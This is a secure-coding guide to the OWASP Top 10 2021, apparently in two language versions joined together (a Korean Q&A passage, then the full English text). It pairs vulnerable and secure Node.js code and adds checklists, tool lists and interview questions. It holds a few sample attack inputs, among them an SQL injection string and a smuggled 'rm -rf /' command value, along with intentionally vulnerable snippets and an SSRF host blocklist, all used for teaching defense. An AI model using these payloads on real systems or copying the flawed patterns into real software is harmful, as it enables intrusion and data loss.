CSP는 브라우저에게 허용된 리소스 출처를 지정하는 HTTP 헤더입니다. script-src, style-src 등 지시어로 각 리소스 유형별 허용 출처를 지정합니다. 인라인 스크립트는 nonce 또는 hash로 허용하며, 위반 시 report-uri로 보고할 수 있습니다.

Q10: Rate Limiting의 구현 전략과 분산 환경에서의 고려사항은?

전략: 1) Fixed Window, 2) Sliding Window, 3) Token Bucket, 4) Leaky Bucket. 분산 환경에서는 Redis 같은 중앙 저장소를 사용해 모든 서버에서 일관된 카운팅을 해야 합니다. IP 기반 + 사용자 ID 기반 복합 제한이 효과적입니다.

심화 질문

Q11: Zero Trust 아키텍처란 무엇이며, 전통적 경계 보안과 어떻게 다른가요?

전통적 보안은 네트워크 경계(방화벽)를 기반으로 내부를 신뢰합니다. Zero Trust는 "절대 신뢰하지 말고, 항상 검증하라"는 원칙으로, 내부 트래픽도 검증합니다. 핵심 요소: 최소 권한, 마이크로세그먼테이션, 지속적 검증, 암호화 통신.

Q12: 공급망 공격(Supply Chain Attack)을 방어하는 방법은?

  1. 의존성 잠금 파일(lockfile) 사용 및 무결성 검증, 2) SRI(Subresource Integrity) 해시 적용, 3) SBOM 유지, 4) CI/CD 파이프라인 보안 (코드 서명, 아티팩트 검증), 5) 최소 의존성 원칙.

Q13: CORS와 CSP의 차이점과 각각의 역할을 설명하세요.

CORS는 브라우저의 동일 출처 정책을 완화하여 다른 오리진의 리소스 접근을 제어합니다 (서버 간 API 호출). CSP는 페이지 내에서 로드할 수 있는 리소스의 출처를 제한합니다 (XSS 방어). CORS는 "누가 내 API를 호출할 수 있는가", CSP는 "내 페이지에서 무엇을 로드할 수 있는가"입니다.

Q14: DevSecOps에서 Shift Left의 의미와 구현 방법은?

Shift Left는 보안 활동을 개발 초기 단계로 이동시키는 것입니다. 구현: 1) IDE에서 SAST 플러그인 사용, 2) Pre-commit hook으로 시크릿 스캔, 3) PR 리뷰에 보안 체크 자동화, 4) 스프린트 위협 모델링, 5) 개발자 보안 교육.

Q15: 세션 관리의 모범 사례 5가지를 설명하세요.

  1. 암호학적으로 안전한 랜덤 세션 ID 생성 (최소 128비트), 2) HTTPS 전용 + HttpOnly + Secure + SameSite 쿠키 속성, 3) 로그인/권한 변경 시 세션 ID 재생성, 4) 절대/유휴 타임아웃 설정, 5) 로그아웃 시 서버측 세션 완전 무효화.

17. 퀴즈

Q1: OWASP Top 10 2021에서 1위로 올라간 취약점은?

A01: Broken Access Control입니다. 2017년에는 5위였으나, API 기반 아키텍처의 확산으로 권한 제어 실수가 증가하면서 1위로 올라갔습니다.

Q2: SQL Injection을 방어하는 가장 효과적인 방법은?

파라미터화된 쿼리(Prepared Statement) 입니다. 쿼리 구조와 데이터를 분리하여 사용자 입력이 SQL 명령으로 해석되는 것을 원천적으로 차단합니다. ORM 사용도 같은 원리로 방어됩니다.

Q3: SSRF 공격에서 169.254.169.254 주소가 위험한 이유는?

169.254.169.254는 클라우드 인스턴스 메타데이터 서비스 주소입니다. SSRF로 접근하면 IAM 크레덴셜, 환경 변수, 네트워크 구성 등 민감한 정보를 탈취할 수 있습니다. AWS IMDSv2를 사용하면 PUT 요청으로 토큰을 먼저 발급받아야 하므로 SSRF 공격이 어려워집니다.

Q4: CSP에서 'unsafe-inline'을 사용하면 안 되는 이유는?

'unsafe-inline'을 허용하면 인라인 스크립트 실행이 가능해져 XSS 공격에 취약해집니다. 대신 nonce-based CSP를 사용하여 각 인라인 스크립트에 고유한 nonce 값을 부여하고, 해당 nonce가 있는 스크립트만 실행을 허용해야 합니다.

Q5: Zero Trust 보안 모델의 핵심 원칙 3가지는?
  1. 절대 신뢰하지 않는다(Never Trust): 내부 네트워크라도 모든 요청을 검증합니다.
  2. 항상 검증한다(Always Verify): 모든 접근에 인증과 권한 검사를 수행합니다.
  3. 최소 권한(Least Privilege): 필요한 최소한의 권한만 부여하고, 정기적으로 검토합니다.

참고 자료

Web Security OWASP Top 10 Complete Guide 2025: 10 Vulnerabilities Every Developer Must Prevent

Introduction: Why Every Developer Must Know Security

According to IBM's 2024 Cost of a Data Breach Report, the average cost of a data breach is $4.88 million. Even more alarming is that roughly 70% of breaches originate from application-level vulnerabilities.

Security is not just the security team's responsibility. Every developer writing code is the first line of defense. OWASP (Open Web Application Security Project) periodically publishes the ten most critical web application security risks.

This guide analyzes each OWASP Top 10 2021 vulnerability with real code examples and provides defense strategies and production checklists.


1. OWASP Top 10 Overview

1.1 OWASP Top 10 2021 Rankings

RankCategoryChange from 2017
A01Broken Access ControlRose from 5th to 1st
A02Cryptographic FailuresRose from 3rd (renamed)
A03InjectionDropped from 1st to 3rd
A04Insecure DesignNew entry
A05Security MisconfigurationRose from 6th to 5th
A06Vulnerable and Outdated ComponentsRose from 9th to 6th
A07Identification and Authentication FailuresDropped from 2nd to 7th
A08Software and Data Integrity FailuresNew (split from 8th)
A09Security Logging and Monitoring FailuresRose from 10th to 9th
A10Server-Side Request Forgery (SSRF)New entry

1.2 Key Changes from 2017

Injection dropped from 1st to 3rd because frameworks have improved their default defense mechanisms. Meanwhile, Broken Access Control rose to 1st due to the proliferation of API-based architectures increasing authorization mistakes.

Insecure Design (A04) and SSRF (A10) entered as new categories, reflecting emerging attack vectors in cloud-native and microservices architectures.


2. A01: Broken Access Control

2.1 Overview

Broken Access Control occurs when users can act beyond their intended permissions. It was found in 94% of applications tested.

2.2 Attack Scenario

IDOR (Insecure Direct Object Reference):

# Attacker changes the ID in the URL to access another user's data
GET /api/users/12345/profile  -> own profile
GET /api/users/12346/profile  -> another user's profile (unauthorized!)

2.3 Vulnerable Code

// Vulnerable - no ownership check
app.get('/api/users/:id/profile', async (req, res) => {
  const user = await User.findById(req.params.id);
  res.json(user); // Anyone with the ID can access!
});

// Vulnerable - role check but no resource ownership check
app.delete('/api/posts/:id', requireRole('user'), async (req, res) => {
  await Post.findByIdAndDelete(req.params.id); // Can delete others' posts!
  res.json({ message: 'Deleted' });
});

2.4 Secure Code

// Secure - ownership verification
app.get('/api/users/:id/profile', authenticate, async (req, res) => {
  if (req.params.id !== req.user.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  const user = await User.findById(req.params.id);
  res.json(user);
});

// Secure - ownership + role verification
app.delete('/api/posts/:id', authenticate, async (req, res) => {
  const post = await Post.findById(req.params.id);
  if (!post) return res.status(404).json({ error: 'Not found' });

  if (post.authorId !== req.user.id && !req.user.isAdmin) {
    return res.status(403).json({ error: 'Forbidden' });
  }
  await post.deleteOne();
  res.json({ message: 'Deleted' });
});

2.5 Defense Checklist

  • Default deny: deny all access and allow only when needed
  • IDOR prevention: always verify ownership or permission on resource access
  • Restrict CORS settings to the minimum
  • Re-validate JWT role claims server-side
  • Write access control tests for every API endpoint

3. A02: Cryptographic Failures

3.1 Overview

When encryption is missing or improperly implemented for protecting sensitive data. Previously called "Sensitive Data Exposure."

3.2 Vulnerable vs Secure Code

// Vulnerable: MD5 for password hashing
const crypto = require('crypto');
const hashedPassword = crypto.createHash('md5').update(password).digest('hex');

// Vulnerable: hardcoded encryption key
const SECRET_KEY = 'my-super-secret-key-123';
const encrypted = encrypt(data, SECRET_KEY);
const bcrypt = require('bcrypt');

// Secure: bcrypt with auto-generated salt
const SALT_ROUNDS = 12;
const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);
const isMatch = await bcrypt.compare(inputPassword, hashedPassword);

// Secure: load key from environment + AES-256-GCM
const crypto = require('crypto');
const SECRET_KEY = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');

function encrypt(plaintext) {
  const iv = crypto.randomBytes(16);
  const cipher = crypto.createCipheriv('aes-256-gcm', SECRET_KEY, iv);
  const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
  const tag = cipher.getAuthTag();
  return { iv: iv.toString('hex'), encrypted: encrypted.toString('hex'), tag: tag.toString('hex') };
}

// Secure: TLS 1.2+ only
const server = https.createServer({
  minVersion: 'TLSv1.2',
  ciphers: 'TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256',
});

3.3 Defense Checklist

  • Enforce HTTPS (TLS 1.2+) for all communication
  • Use bcrypt, scrypt, or Argon2 for passwords (never MD5, SHA-1)
  • Store encryption keys in environment variables or KMS
  • Use authenticated encryption algorithms (AES-256-GCM)
  • Do not store sensitive data unnecessarily

4. A03: Injection

4.1 Overview

Injection occurs when user input is interpreted as part of a query, command, or code. SQL Injection, NoSQL Injection, OS Command Injection, and XSS are the primary types.

4.2 SQL Injection Attack Scenario

-- Normal query
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'

-- Attack input: username = ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
-- Result: all user records returned!

4.3 Vulnerable vs Secure Code

// ===== SQL Injection =====

// Vulnerable: string concatenation
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query);

// Secure: parameterized query (Prepared Statement)
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, hashedPassword]);

// Secure: ORM (Sequelize example)
const user = await User.findOne({
  where: { username, password: hashedPassword },
});

// ===== NoSQL Injection =====

// Vulnerable: user input directly in query
app.post('/login', async (req, res) => {
  const user = await User.findOne(req.body);
});

// Secure: type validation + mongo-sanitize
const sanitize = require('mongo-sanitize');
app.post('/login', async (req, res) => {
  const username = sanitize(req.body.username);
  if (typeof username !== 'string') return res.status(400).send('Invalid input');
  const user = await User.findOne({ username, password: hashedPassword });
});

// ===== OS Command Injection =====

// Vulnerable: user input in shell command
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
// Attack: userInput = "8.8.8.8; rm -rf /"

// Secure: execFile (no shell interpretation)
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput], callback);

4.4 XSS (Cross-Site Scripting)

// ===== Stored XSS =====

// Vulnerable: raw user input in HTML
app.get('/comments', async (req, res) => {
  const comments = await Comment.find();
  let html = '';
  comments.forEach(c => {
    html += `<div>${c.text}</div>`; // XSS vulnerable!
  });
  res.send(html);
});

// Secure: output encoding
const he = require('he');
comments.forEach(c => {
  html += `<div>${he.encode(c.text)}</div>`;
});

// React auto-escapes JSX by default
function Comment({ text }) {
  return <div>{text}</div>; // Automatically HTML-escaped
}

4.5 Defense Checklist

  • SQL: always use parameterized queries or ORM
  • NoSQL: input type validation + mongo-sanitize
  • OS Command: use execFile, never pass user input to shell directly
  • XSS: output encoding, CSP headers, leverage framework auto-escaping

5. A04: Insecure Design

5.1 Overview

Security controls missing from the design phase. A04 addresses architecture-level vulnerabilities rather than code-level ones. Even perfect implementation cannot fix a fundamentally flawed design.

5.2 Secure Design Principles

// Principle 1: Rate Limiting
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // max 5 attempts
  message: 'Too many login attempts. Please try again after 15 minutes.',
  standardHeaders: true,
});
app.post('/login', loginLimiter, loginHandler);

// Principle 2: Business Logic Validation
async function applyCoupon(userId, couponCode) {
  const coupon = await Coupon.findOne({ code: couponCode });
  if (!coupon || coupon.usedBy.includes(userId)) {
    throw new Error('Invalid or already used coupon');
  }
  // Atomic update to prevent race conditions
  const result = await Coupon.findOneAndUpdate(
    { code: couponCode, usedBy: { $ne: userId } },
    { $push: { usedBy: userId } },
    { new: true }
  );
  if (!result) throw new Error('Coupon already used');
  return result;
}

5.3 Defense Checklist

  • Perform threat modeling during design (STRIDE, DREAD)
  • Include rate limiting in business logic
  • Write Abuse Cases alongside Use Cases
  • Use security design pattern libraries
  • Include security requirements in User Stories

6. A05: Security Misconfiguration

6.1 Overview

When server, framework, or cloud service security settings are left at defaults or improperly configured. Found in 90% of applications.

6.2 Vulnerable vs Secure Configuration

// Vulnerable: default settings
const app = express();
app.use(express.json());
// X-Powered-By header exposes "Express"

// Secure: Helmet middleware + hardening
const helmet = require('helmet');
const app = express();
app.use(helmet());
app.disable('x-powered-by');

// Secure: prevent error information disclosure
app.use((err, req, res, next) => {
  console.error(err.stack); // log server-side only
  res.status(500).json({
    error: 'Internal Server Error', // generic message only
  });
});
# Docker security configuration

# Vulnerable: running as root
FROM node:20
COPY . .
CMD ["node", "server.js"]

# Secure: non-root user
FROM node:20-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
USER appuser
CMD ["node", "server.js"]

6.3 Defense Checklist

  • Disable debug mode in production
  • Change default accounts/passwords
  • Disable unnecessary features, ports, and services
  • Set security headers (Helmet, etc.)
  • Block public access to cloud resources
  • Maintain configuration consistency with IaC

7. A06: Vulnerable and Outdated Components

7.1 Overview

Using libraries, frameworks, or software components with known vulnerabilities. Log4Shell (CVE-2021-44228) is a prime example.

7.2 Defense Tools and Automation

# npm dependency audit
npm audit
npm audit fix

# Snyk vulnerability scanning
npx snyk test
npx snyk monitor
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    reviewers:
      - "security-team"

7.3 Defense Checklist

  • Run npm audit / Snyk / OWASP Dependency-Check regularly
  • Integrate dependency scanning into CI/CD pipeline
  • Use Dependabot or Renovate Bot for automatic update PRs
  • Remove unused dependencies
  • Maintain SBOM (Software Bill of Materials)

8. A07: Identification and Authentication Failures

8.1 Overview

When authentication mechanisms are improperly implemented, allowing attackers unauthorized access to user accounts.

8.2 Vulnerable vs Secure Code

// ===== Vulnerable session management =====

// Vulnerable: sequential session IDs
let sessionCounter = 0;
function createSession() {
  return (++sessionCounter).toString(); // Predictable!
}

// Secure: cryptographically secure random session ID
const crypto = require('crypto');
function createSession() {
  return crypto.randomBytes(32).toString('hex'); // 256-bit random
}

// ===== Vulnerable JWT implementation =====

// Vulnerable: algorithm none allowed
const payload = jwt.verify(token, secret);

// Secure: explicit algorithm specification
const payload = jwt.verify(token, secret, {
  algorithms: ['HS256'],
  issuer: 'my-app',
  audience: 'my-api',
});

// ===== MFA Implementation =====
const speakeasy = require('speakeasy');

async function setupMFA(userId) {
  const secret = speakeasy.generateSecret({
    name: `MyApp:user-${userId}`,
    issuer: 'MyApp',
  });
  const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
  await User.updateOne({ _id: userId }, { mfaSecret: encrypt(secret.base32) });
  return { qrCodeUrl, backupCodes: generateBackupCodes() };
}

function verifyMFA(token, userSecret) {
  return speakeasy.totp.verify({
    secret: userSecret,
    encoding: 'base32',
    token: token,
    window: 1,
  });
}

8.3 Defense Checklist

  • Implement and encourage MFA
  • Require minimum 12-character passwords with complexity
  • Limit failed login attempts (Account Lockout)
  • Set session timeouts
  • Use bcrypt/Argon2 for password hashing
  • JWT: specify algorithms, set expiration, use Refresh Token Rotation

9. A08: Software and Data Integrity Failures

9.1 Overview

When software updates, CI/CD pipelines, and data serialization lack integrity verification. The SolarWinds supply chain attack is a prime example.

9.2 Secure Code

// Vulnerable: deserializing user input directly
app.post('/api/data', (req, res) => {
  const data = JSON.parse(req.body.serializedData);
  processData(data);
});

// Secure: schema validation before deserialization
const Joi = require('joi');
const schema = Joi.object({
  name: Joi.string().max(100).required(),
  age: Joi.number().integer().min(0).max(150),
  email: Joi.string().email(),
});

app.post('/api/data', (req, res) => {
  const { error, value } = schema.validate(req.body);
  if (error) return res.status(400).json({ error: error.details });
  processData(value);
});

9.3 Defense Checklist

  • Add SRI (Subresource Integrity) hashes to CDN resources
  • Sign and verify artifacts in CI/CD pipelines
  • Verify npm lockfile integrity
  • Validate schemas before deserialization (Joi, Zod)
  • Verify digital signatures on software updates

10. A09: Security Logging and Monitoring Failures

10.1 Overview

When security events are not logged or monitored, making it impossible to detect attacks. On average, breach detection takes 194 days.

10.2 Secure Security Logging

const winston = require('winston');

const securityLogger = winston.createLogger({
  level: 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.json()
  ),
  defaultMeta: { service: 'security' },
  transports: [
    new winston.transports.File({ filename: 'security.log' }),
  ],
});

function logAuthEvent(event) {
  securityLogger.info('Authentication event', {
    type: event.type,
    userId: event.userId,
    ip: event.ip,
    userAgent: event.userAgent,
    timestamp: new Date().toISOString(),
    // Never log passwords!
  });
}

function logAuditEvent(action, userId, resource, details) {
  securityLogger.info('Audit event', {
    action,
    userId,
    resource,
    details,
    timestamp: new Date().toISOString(),
  });
}

10.3 Defense Checklist

  • Log all login success/failure, permission changes, and critical operations
  • Never include passwords or tokens in logs
  • Use centralized log management (ELK Stack, CloudWatch)
  • Set up anomaly detection alerts
  • Prevent log tampering (store on separate server, immutable audit logs)

11. A10: Server-Side Request Forgery (SSRF)

11.1 Overview

An attack that tricks a server into making requests to URLs specified by the attacker. It was the core vulnerability in the 2019 Capital One breach.

11.2 Vulnerable vs Secure Code

const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

// Vulnerable: directly requesting user-supplied URL
app.post('/api/fetch-url', async (req, res) => {
  const response = await axios.get(req.body.url);
  res.json(response.data);
});

// Secure: URL validation + IP blocking
async function isUrlSafe(urlString) {
  const parsed = new URL(urlString);

  if (parsed.protocol !== 'https:') return false;

  const blockedHosts = ['localhost', '127.0.0.1', '0.0.0.0', 'metadata.google.internal'];
  if (blockedHosts.includes(parsed.hostname)) return false;

  const addresses = await dns.resolve4(parsed.hostname);
  for (const addr of addresses) {
    const ip = ipaddr.parse(addr);
    if (ip.range() !== 'unicast') return false;
  }
  return true;
}

app.post('/api/fetch-url', async (req, res) => {
  if (!await isUrlSafe(req.body.url)) {
    return res.status(403).json({ error: 'URL not allowed' });
  }
  const response = await axios.get(req.body.url, {
    timeout: 5000,
    maxRedirects: 0,
  });
  res.json(response.data);
});

11.3 Defense Checklist

  • Allowlist-based URL validation
  • Block internal IP ranges (10.x, 172.16-31.x, 192.168.x, 169.254.x)
  • Use IMDSv2 (AWS metadata service protection)
  • Use dedicated network interfaces for server-side outbound requests
  • DNS Rebinding prevention: re-verify IP after DNS resolution

12. Beyond OWASP: Additional Vulnerabilities

12.1 CSRF (Cross-Site Request Forgery)

const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  processTransfer(req.body);
});

// SameSite cookies for CSRF defense
res.cookie('session', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict',
  maxAge: 3600000,
});

12.2 CORS (Cross-Origin Resource Sharing)

const cors = require('cors');

// Vulnerable: allow all origins
app.use(cors()); // origin: '*'

// Secure: specific origins only
app.use(cors({
  origin: ['https://myapp.com', 'https://admin.myapp.com'],
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  credentials: true,
  maxAge: 86400,
}));

12.3 CSP (Content Security Policy)

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "'nonce-abc123'"],
    styleSrc: ["'self'", "https://fonts.googleapis.com"],
    imgSrc: ["'self'", "data:", "https:"],
    connectSrc: ["'self'", "https://api.myapp.com"],
    fontSrc: ["'self'", "https://fonts.gstatic.com"],
    objectSrc: ["'none'"],
    frameSrc: ["'none'"],
  },
}));

12.4 Rate Limiting

const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');

const limiter = rateLimit({
  store: new RedisStore({
    sendCommand: (...args) => redisClient.call(...args),
  }),
  windowMs: 15 * 60 * 1000,
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
  keyGenerator: (req) => req.ip,
});

const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });
const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 30 });

app.use('/api/auth', authLimiter);
app.use('/api/', apiLimiter);

13. Security Headers Complete Guide

app.use((req, res, next) => {
  // XSS defense
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-XSS-Protection', '0');

  // Clickjacking defense
  res.setHeader('X-Frame-Options', 'DENY');

  // Force HTTPS
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');

  // Referrer information restriction
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // Browser feature restriction
  res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');

  // CSP
  res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");

  next();
});
HeaderPurposeRecommended Value
Content-Security-PolicyXSS/injection defensedefault-src 'self'
Strict-Transport-SecurityForce HTTPSmax-age=31536000; includeSubDomains
X-Frame-OptionsClickjacking defenseDENY
X-Content-Type-OptionsMIME sniffing defensenosniff
Referrer-PolicyReferrer info restrictionstrict-origin-when-cross-origin
Permissions-PolicyBrowser feature restrictioncamera=(), microphone=()

14. Security Testing Tools

14.1 DAST (Dynamic Application Security Testing)

ToolTypeFeatures
OWASP ZAPOpen Source DASTAuto scan + manual testing, CI/CD integration
Burp SuiteCommercial DASTIndustry standard web security testing
NucleiOpen Source ScannerTemplate-based vulnerability scanning

14.2 SAST (Static Application Security Testing)

ToolTypeFeatures
SonarQubeOpen Source SASTCode quality + security vulnerability analysis
SemgrepOpen Source SASTLightweight static analysis, custom rules
CodeQLGitHub SASTGitHub integration, semantic analysis

14.3 SCA (Software Composition Analysis)

ToolTypeFeatures
SnykSCA + SASTDependency + code vulnerabilities
npm auditBuilt-innpm dependency vulnerability check
TrivyOpen SourceContainer image + filesystem scanning
# GitHub Actions security scan integration
name: Security Scan
on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Run Snyk
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

      - name: Run Semgrep
        uses: semgrep/semgrep-action@v1
        with:
          config: p/owasp-top-ten

      - name: Run Trivy
        uses: aquasecurity/trivy-action@master
        with:
          scan-type: 'fs'
          severity: 'CRITICAL,HIGH'

15. Production Security Checklist (20 Items)

Authentication and Access Control

  • MFA implementation
  • Minimum 12-character password with complexity requirements
  • Session timeout configuration (e.g., 30 minutes)
  • JWT Refresh Token Rotation
  • RBAC or ABAC-based permission management

Data Protection

  • HTTPS (TLS 1.2+) enforced for all communication
  • Password hashing with bcrypt/Argon2
  • Encryption key management via KMS
  • PII: minimal collection + encrypted storage

Input Validation

  • Parameterized queries (SQL Injection prevention)
  • Output encoding (XSS prevention)
  • CSRF tokens or SameSite cookies
  • File upload type/size restrictions

Infrastructure and Configuration

  • Security headers (CSP, HSTS, X-Frame-Options)
  • Debug mode disabled in production
  • Docker containers run as non-root
  • Public access blocked on cloud resources

Monitoring and Response

  • Security event logging (auth, permission changes, critical operations)
  • Automated dependency vulnerability scanning (CI/CD integration)
  • Incident response playbook prepared

16. Interview Questions (15)

Basic

Q1: What is OWASP Top 10 and why is it important?

The OWASP Top 10 is a list of the ten most critical web application security risks. Updated every 3-4 years, it serves as a security awareness tool and development guideline widely used across the industry. It is also referenced in compliance standards like PCI DSS.

Q2: Name three ways to prevent SQL Injection.

  1. Parameterized queries (Prepared Statements): separate query structure from data. 2) ORM usage: Sequelize, Prisma automatically parameterize queries. 3) Input validation: whitelist-based filtering of allowed characters only.

Q3: Explain the three types of XSS.

  1. Stored XSS: malicious script stored in DB and served to other users. 2) Reflected XSS: script in URL parameters included in response. 3) DOM-based XSS: client-side JavaScript manipulates the DOM. Defense involves output encoding and CSP headers.

Q4: What is CSRF and how do you defend against it?

CSRF exploits an authenticated user's browser to send malicious requests. Defense: 1) Anti-CSRF tokens, 2) SameSite cookie attribute, 3) Referer/Origin header validation, 4) Re-authentication for critical operations.

Q5: Why is HTTPS more secure than HTTP?

HTTPS uses TLS to guarantee three things: 1) Confidentiality: encryption prevents eavesdropping, 2) Integrity: detects data tampering, 3) Authentication: verifies server identity via certificates. HTTP transmits in plaintext, making it vulnerable to MITM attacks.

Intermediate

Q6: What is the difference between Broken Access Control and Authentication Failure?

Authentication Failure is incorrectly determining "who you are," while Broken Access Control is incorrectly controlling "what you can do." Authentication verifies identity; access control manages permissions.

Q7: Why is SSRF particularly dangerous in cloud environments?

Cloud environments have metadata services (169.254.169.254) that SSRF can exploit to steal IAM credentials, environment variables, etc. The Capital One breach is a prime example. AWS IMDSv2 mitigates this by requiring a token via PUT request first.

Q8: Explain JWT security vulnerabilities and countermeasures.

Vulnerabilities: 1) Algorithm None attack, 2) Secret key brute force, 3) Token theft usable until expiry. Countermeasures: explicit algorithm validation, strong secret key (256+ bits), short expiry + Refresh Token Rotation.

Q9: How does Content Security Policy (CSP) work?

CSP is an HTTP header that tells browsers which resource origins are allowed. Directives like script-src and style-src specify allowed origins per resource type. Inline scripts require nonce or hash values. Violations can be reported via report-uri.

Q10: What are Rate Limiting strategies and distributed environment considerations?

Strategies: 1) Fixed Window, 2) Sliding Window, 3) Token Bucket, 4) Leaky Bucket. In distributed environments, use centralized storage like Redis for consistent counting across all servers. Combined IP-based + user ID-based limiting is effective.

Advanced

Q11: What is Zero Trust architecture and how does it differ from traditional perimeter security?

Traditional security trusts the internal network behind firewalls. Zero Trust follows the principle of "never trust, always verify," validating even internal traffic. Key elements: least privilege, micro-segmentation, continuous verification, encrypted communication.

Q12: How do you defend against supply chain attacks?

  1. Lockfile usage with integrity verification, 2) SRI hashes on CDN resources, 3) SBOM maintenance, 4) CI/CD pipeline security (code signing, artifact verification), 5) Minimal dependency principle.

Q13: Explain the differences between CORS and CSP and their respective roles.

CORS relaxes the browser's same-origin policy to control cross-origin resource access (server-to-server API calls). CSP restricts what resources a page can load (XSS defense). CORS answers "who can call my API," while CSP answers "what can my page load."

Q14: What does Shift Left mean in DevSecOps and how is it implemented?

Shift Left moves security activities to earlier stages of development. Implementation: 1) SAST plugins in IDE, 2) Pre-commit hooks for secret scanning, 3) Automated security checks in PR reviews, 4) Sprint-level threat modeling, 5) Developer security training.

Q15: List five best practices for session management.

  1. Cryptographically secure random session IDs (minimum 128 bits), 2) HTTPS-only + HttpOnly + Secure + SameSite cookie attributes, 3) Regenerate session ID on login/privilege change, 4) Absolute and idle timeout settings, 5) Complete server-side session invalidation on logout.

17. Quiz

Q1: Which vulnerability rose to 1st place in OWASP Top 10 2021?

A01: Broken Access Control. It was 5th in 2017 but rose to 1st due to the proliferation of API-based architectures increasing authorization mistakes.

Q2: What is the most effective defense against SQL Injection?

Parameterized queries (Prepared Statements). By separating query structure from data, user input is fundamentally prevented from being interpreted as SQL commands. ORM usage provides the same protection.

Q3: Why is the 169.254.169.254 address dangerous in SSRF attacks?

169.254.169.254 is the cloud instance metadata service address. SSRF access can steal IAM credentials, environment variables, and network configurations. AWS IMDSv2 mitigates this by requiring a PUT request for token issuance first.

Q4: Why should you avoid using 'unsafe-inline' in CSP?

Allowing 'unsafe-inline' enables inline script execution, making the application vulnerable to XSS attacks. Instead, use nonce-based CSP to assign unique nonce values to each inline script, allowing only scripts with matching nonces to execute.

Q5: What are the three core principles of Zero Trust?
  1. Never Trust: Verify all requests even from internal networks.
  2. Always Verify: Perform authentication and authorization checks on every access.
  3. Least Privilege: Grant only the minimum necessary permissions and review regularly.

References